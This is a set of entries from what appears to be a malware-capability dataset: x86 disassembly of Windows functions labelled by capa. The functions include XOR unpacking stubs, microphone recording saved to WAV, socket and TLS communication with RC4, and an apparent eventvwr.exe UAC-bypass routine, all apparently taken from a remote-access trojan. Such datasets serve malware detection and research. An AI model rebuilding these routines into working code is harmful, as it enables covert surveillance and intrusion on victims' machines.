joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42390b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4447e0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x42394b
cmp byte [ebx], 0xa
jne 0x42394b
or byte [eax + edi + 0x28], 4
jmp 0x423950
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x423a4e
mov al, byte [edx]
cmp al, 0x1a
je 0x423a30
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x42397f
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4239a4
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4239ae
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x423961
jmp 0x423a4e
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x423a2b
cmp dword [ebp - 0xc], 0
je 0x423a2b
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4447e0]
test byte [eax + edi + 0x28], 0x48
je 0x423a05
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4239f0
mov byte [esi], dl
jmp 0x423a01
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4447e0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x423a4e
cmp byte [ebp - 1], 0xa
jne 0x423a14
cmp esi, ebx
jne 0x423a14
mov byte [esi], 0xa
jmp 0x423a4d
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0042448b
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x423a4e
mov byte [esi], 0xd
jmp 0x423a4d
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4447e0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x423a4a
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x423a4e
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x423a57
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x4447e0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x423a9a
cmp word [esi], dx
jne 0x423a9a
or byte [edi + eax + 0x28], 4
jmp 0x423a9f
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x423bf2
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x423bd2
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x423ae1
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x423b17
cmp eax, edx
jae 0x423b23
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x423ab9
jmp 0x423bf2
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x423bce
cmp dword [ebp - 0x14], 0
je 0x423bce
mov eax, dword [ebx*4 + 0x4447e0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x423ba6
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x423b6f
mov word [esi], cx
jmp 0x423ba2
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x4447e0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x4447e0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x4447e0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x423bf2
pop ebx
cmp word [ebp - 4], bx
jne 0x423bb7
cmp esi, dword [ebp + 0xc]
jne 0x423bb7
mov word [esi], bx
jmp 0x423bef
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0042448b
add esp, 0x10
cmp word [ebp - 4], bx
je 0x423bf2
push 0xd
jmp 0x423beb
mov ecx, dword [ebx*4 + 0x4447e0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x423be9
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x423bf2
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42976d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42980a
push ebx
push esi
call fcn.00429736
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0042850b
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4297b7
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x429809
push edi
push eax
call fcn.00424dc8
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4297d7
call fcn.004215e1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x429808
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0042850b
add esp, 0x20
test eax, eax
jne 0x4297f6
push edi
call fcn.004215e1
jmp 0x4297fe
push ebx
call fcn.004215e1
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0xf986bba
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
mov ecx, 0x19320f80
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4016d8
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
lea eax, [ebp + 0xc]
mov esi, ecx
push eax
mov ecx, 0x46c114
mov edi, edx
call fcn.00401f8d
mov edx, dword [ebp + 8]
xor eax, eax
inc eax
movzx ebx, di
mov word [0x46ba98], ax
shr ebx, 3
movzx eax, si
imul eax, ebx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mov dword [0x46ba9c], edx
mov word [0x46baa6], di
shr di, 3
movzx ecx, di
push 0x30008
imul eax, edx
shr edx, 0x1f
mov word [0x46ba9a], si
addsd xmm0, qword [edx*8 + 0x4660a0]
mov dword [0x46baa0], eax
movzx eax, si
xor esi, esi
imul ecx, eax
xor eax, eax
mov word [0x46baa8], ax
cvtpd2ps xmm0, xmm0
push esi
push 0x401833
push 0x46ba98
push 0xffffffffffffffff
push 0x46bab8
mov word [0x46baa4], cx
mulss xmm0, dword [0x466044]
cvttss2si eax, xmm0
imul ebx, eax
mov dword [0x46baac], eax
mov dword [0x46ba70], ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
mov ecx, esi
call fcn.004017b6
inc esi
cmp esi, 2
jb 0x401791
push dword [0x46bab8]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
lea ecx, [ebp + 0xc]
pop ebx
pop ebp
jmp fcn.00401fa7

Function at 0x4017b6
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
push dword [0x46ba70]
mov esi, ecx
mov ecx, 0x46c0d4
push esi
call fcn.00401e29
mov ecx, eax
call fcn.00401f64
mov edi, dword [0x46c110]
mov ebx, esi
shl ebx, 5
mov ecx, 0x46c0d4
push esi
add edi, ebx
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
mov dword [edi], eax
mov eax, dword [0x46ba70]
mov dword [edi + 4], eax
xor eax, eax
push 0x20
push edi
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push dword [0x46bab8]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x46c110]
push 0x20
add eax, ebx
push eax
push dword [0x46bab8]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebx
ret
Function at 0x401a44
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
movzx esi, word [0x46baa6]
mov ebx, edx
push edi
movzx edi, word [0x46ba9a]
imul esi, edi
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0x10
mov eax, esi
imul eax, dword [0x46ba9c]
shr eax, 3
mov dword [ebp - 0x14], eax
mov eax, esi
cdq
xor esi, esi
and edx, 7
add eax, edx
push esi
sar eax, 3
push 0x80
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 4]
push 2
imul eax, edi
push esi
push esi
push 0x40000000
push ecx
mov dword [ebp - 0x1c], eax
add eax, 0x24
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401ac0
xor al, al
jmp 0x401ba6
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 4]
push eax
push 4
push 0x45f3c0
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push str.WAVE
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push str.fmt
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x10]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x46ba9a
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push 0x46ba9c
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x18]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x46baa6
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push str.data
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
push edi
call esi
push 0
lea ecx, [ebp - 4]
push ecx
push dword [ebx + 4]
push dword [ebx]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4049d2
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
lea esi, [ebp + 8]
push 0x10
lea eax, [ebx + 8]
mov edi, eax
push eax
push dword [ebx + 4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404a23
cmp byte [ebx + 1], al
je 0x404a6a
call fcn.0041c076
mov dword [ebx + 0x44], eax
test eax, eax
je 0x404a23
mov edx, dword [ebx + 4]
mov ecx, eax
call fcn.0041c0c4
mov ecx, dword [ebx + 0x44]
cmp eax, 1
je 0x404a2d
call fcn.0041c0bb
and dword [ebx + 0x44], 0
xor al, al
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0x10
call fcn.0041cb45
cmp eax, 1
je 0x404a6a
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_failed
call fcn.00402064
sub esp, 0x18
mov ecx, esp
push str._ERROR_
call fcn.00402064
call fcn.004165d8
mov ecx, dword [ebx + 0x44]
add esp, 0x30
call fcn.0041c23f
mov ecx, dword [ebx + 0x44]
jmp 0x404a1a
mov al, 1
jmp 0x404a25
Function at 0x404a6e
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.00402469
push 0
push 0xc
lea ecx, [ebp - 0x1c]
lea esi, [eax + 4]
call fcn.00405218
push 0
lea ecx, [ebp - 0x1c]
call fcn.004051ea
mov ecx, dword [edi + 0x3c]
push 4
mov dword [eax], ecx
lea ecx, [ebp - 0x1c]
call fcn.004051ea
push 8
lea ecx, [ebp - 0x1c]
mov dword [eax], esi
call fcn.004051ea
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00403416
cmp byte [edi + 1], 0
jne 0x404aea
push 0
lea ecx, [ebp - 0x1c]
call fcn.00402469
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401f75
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x404b08
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00402469
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401f75
mov ecx, dword [edi + 0x44]
mov edx, eax
call fcn.0041c1c7
pop ecx
pop ecx
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00401fa7
lea ecx, [ebp + 0xc]
call fcn.00401fa7
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x404b57
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 0x18], eax
xor eax, eax
push eax
push eax
push ecx
push 0x404b76
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret 4
Function at 0x404c75
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 8], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x28]
push edi
mov dword [ebp - 0x10], esi
and dword [esi + 0x48], 0
call fcn.004020b5
mov edi, dword [ebp + 8]
lea eax, [esi + 0x4c]
push eax
lea eax, [ebp - 8]
mov ecx, edi
push eax
call fcn.00401f75
push eax
mov ecx, esi
call fcn.00404e1b
test al, al
je 0x404dc4
movzx eax, byte [esi + 0x40]
mov ecx, edi
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
add ebx, eax
call fcn.00402469
cmp ebx, eax
jbe 0x404ce8
mov ecx, edi
mov bl, 1
call fcn.00402469
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
mov edi, dword [ebp + 8]
sub ecx, eax
mov dword [esi + 0x48], ecx
jmp 0x404cea
xor bl, bl
test bl, bl
jne 0x404dc4
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 0x40]
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
call fcn.00404286
push eax
lea ecx, [ebp - 0x28]
call fcn.00401fb1
lea ecx, [ebp - 0x40]
call fcn.00401fa7
push dword [ebp - 8]
lea eax, [ebp - 0x40]
push 0
push eax
lea ecx, [ebp - 0x28]
call fcn.00404286
push eax
lea ecx, [ebp - 0x28]
call fcn.00401fb1
lea ecx, [ebp - 0x40]
call fcn.00401fa7
cmp byte [ebp + 0x10], 0
lea eax, [ebp - 0x28]
jne 0x404d53
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020cc
push esi
call dword [ebp + 0xc]
add esp, 0x1c
jmp 0x404d8f
push eax
lea ecx, [esi + 0x1c]
call fcn.00401f8d
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x34], eax
xor eax, eax
push eax
push eax
push esi
push dword [ebp + 0xc]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x34]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, edi
push 0xffffffffffffffff
add eax, ebx
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00404286
push eax
mov ecx, edi
call fcn.00401fb1
lea ecx, [ebp - 0x40]
call fcn.00401fa7
mov ecx, edi
call fcn.00402469
test eax, eax
lea eax, [esi + 0x4c]
jne 0x404c99
lea ecx, [ebp - 0x28]
call fcn.00401fa7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404e64
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x50], 0
jne 0x404f6c
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x404e8b
mov byte [esi + 0x64], 1
jmp 0x404f42
cmp byte [0x46bb07], 0
je 0x404f42
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 2]
lea ecx, [ebp - 0x40]
push eax
movzx eax, word [ebp - 4]
mov ebx, str._02i:_02i:_02i:_03i__Info_
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
push str.Connection_KeepAlive_enabled_n
push ebx
call fcn.00402064
mov edx, eax
lea ecx, [ebp - 0x28]
call fcn.0040530d
pop ecx
mov ecx, eax
call fcn.00401f75
push eax
call fcn.004047f8
add esp, 0x14
lea ecx, [ebp - 0x28]
call fcn.00401fa7
lea ecx, [ebp - 0x40]
call fcn.00401fa7
movzx eax, word [ebp - 2]
lea ecx, [ebp - 0x28]
push edi
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
push str.Connection_KeepAlive_timeout:__i_n
push ebx
call fcn.00402064
mov edx, eax
lea ecx, [ebp - 0x40]
call fcn.0040530d
pop ecx
mov ecx, eax
call fcn.00401f75
push eax
call fcn.004047f8
add esp, 0x18
lea ecx, [ebp - 0x40]
call fcn.00401fa7
lea ecx, [ebp - 0x28]
call fcn.00401fa7
mov dword [esi + 0x5c], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x50], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x405154
push edi
push edi
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x404f6e
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x405a47
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x466090]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x405a53
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x405a97
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x405a74
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x405ab6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor edx, edx
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x400]
mov ecx, 0x100
mov ebx, edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
mov edi, edx
add esi, 1
je 0x405b4e
inc edx
and edx, 0x800000ff
jns 0x405af0
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x400]
add ebx, eax
and ebx, 0x800000ff
jns 0x405b09
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, al
mov eax, dword [ebp + ebx*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x400], eax
mov ecx, dword [ebp + edx*4 - 0x400]
add ecx, eax
and ecx, 0x800000ff
jns 0x405b3c
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x400]
mov ecx, dword [ebp + 8]
xor byte [edi + ecx], al
inc edi
cmp edi, esi
jb 0x405adf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x405f2a
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
cmp dword [0x46a9d0], 0
push esi
je 0x405f42
xor eax, eax
inc eax
jmp 0x40601f
call fcn.004060c8
cmp eax, 0x3a9f
jge 0x40601f
push ecx
push 0x45f6ac
push 0x45f6f0
mov edx, closesocket
lea ecx, [ebp - 0x18]
call fcn.004102d2
pop ecx
pop ecx
mov esi, 0x46c560
mov ecx, esi
call fcn.00402469
push eax
mov ecx, esi
call fcn.00401f75
push eax
lea ecx, [ebp - 0x18]
call fcn.00402469
inc eax
lea ecx, [ebp - 0x18]
push eax
call fcn.00401f75
push eax
push str.origmsc
mov ecx, 0x46c518
call fcn.00401f75
mov edx, eax
call fcn.00410670
add esp, 0x18
push 2
sub esp, 0x18
mov ecx, esp
push 0x46bb08
call fcn.0040425f
mov esi, 0x45f714
mov edx, 0x45f718
push esi
mov ecx, closesocket
call fcn.0041053c
push str.eventvwr.exe
mov dl, 0x34
lea ecx, [ebp - 0x30]
call fcn.00417967
add esp, 0x24
lea ecx, [ebp - 0x30]
push 0
push esi
push esi
call fcn.00401ecb
push eax
push 0x45f6d4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jbe 0x40600c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x30]
call fcn.00401ed0
lea ecx, [ebp - 0x18]
call fcn.00401fa7
push 2
pop eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x406176
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
lea ecx, [ebp + 8]
push ebx
push esi
push eax
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4061bc
sub esp, 0x18
lea edx, [ebp + 8]
mov ecx, esp
call fcn.00416cf4
push 0x54
mov ecx, 0x46c2e8
call fcn.00404a6e
jmp 0x40627d
lea ecx, [ebp - 0x18]
call fcn.004020b5
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040425f
mov edx, 0x45f7f0
mov ecx, eax
call fcn.004074e6
lea ecx, [ebp - 0x30]
mov bl, al
call fcn.00401ed0
test bl, bl
je 0x406249
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040208b
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fb1
lea ecx, [ebp - 0x30]
jmp 0x406244
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040208b
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.004074f2
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fb1
lea ecx, [ebp - 0x30]
call fcn.00401fa7
lea ecx, [ebp - 0x48]
call fcn.00401fa7
lea eax, [ebp - 0x298]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40620f
sub esp, 0x18
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.004020cc
push 0x50
mov ecx, 0x46c2e8
call fcn.00404a6e
lea ecx, [ebp - 0x18]
call fcn.00401fa7
lea ecx, [ebp + 8]
call fcn.00401ed0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret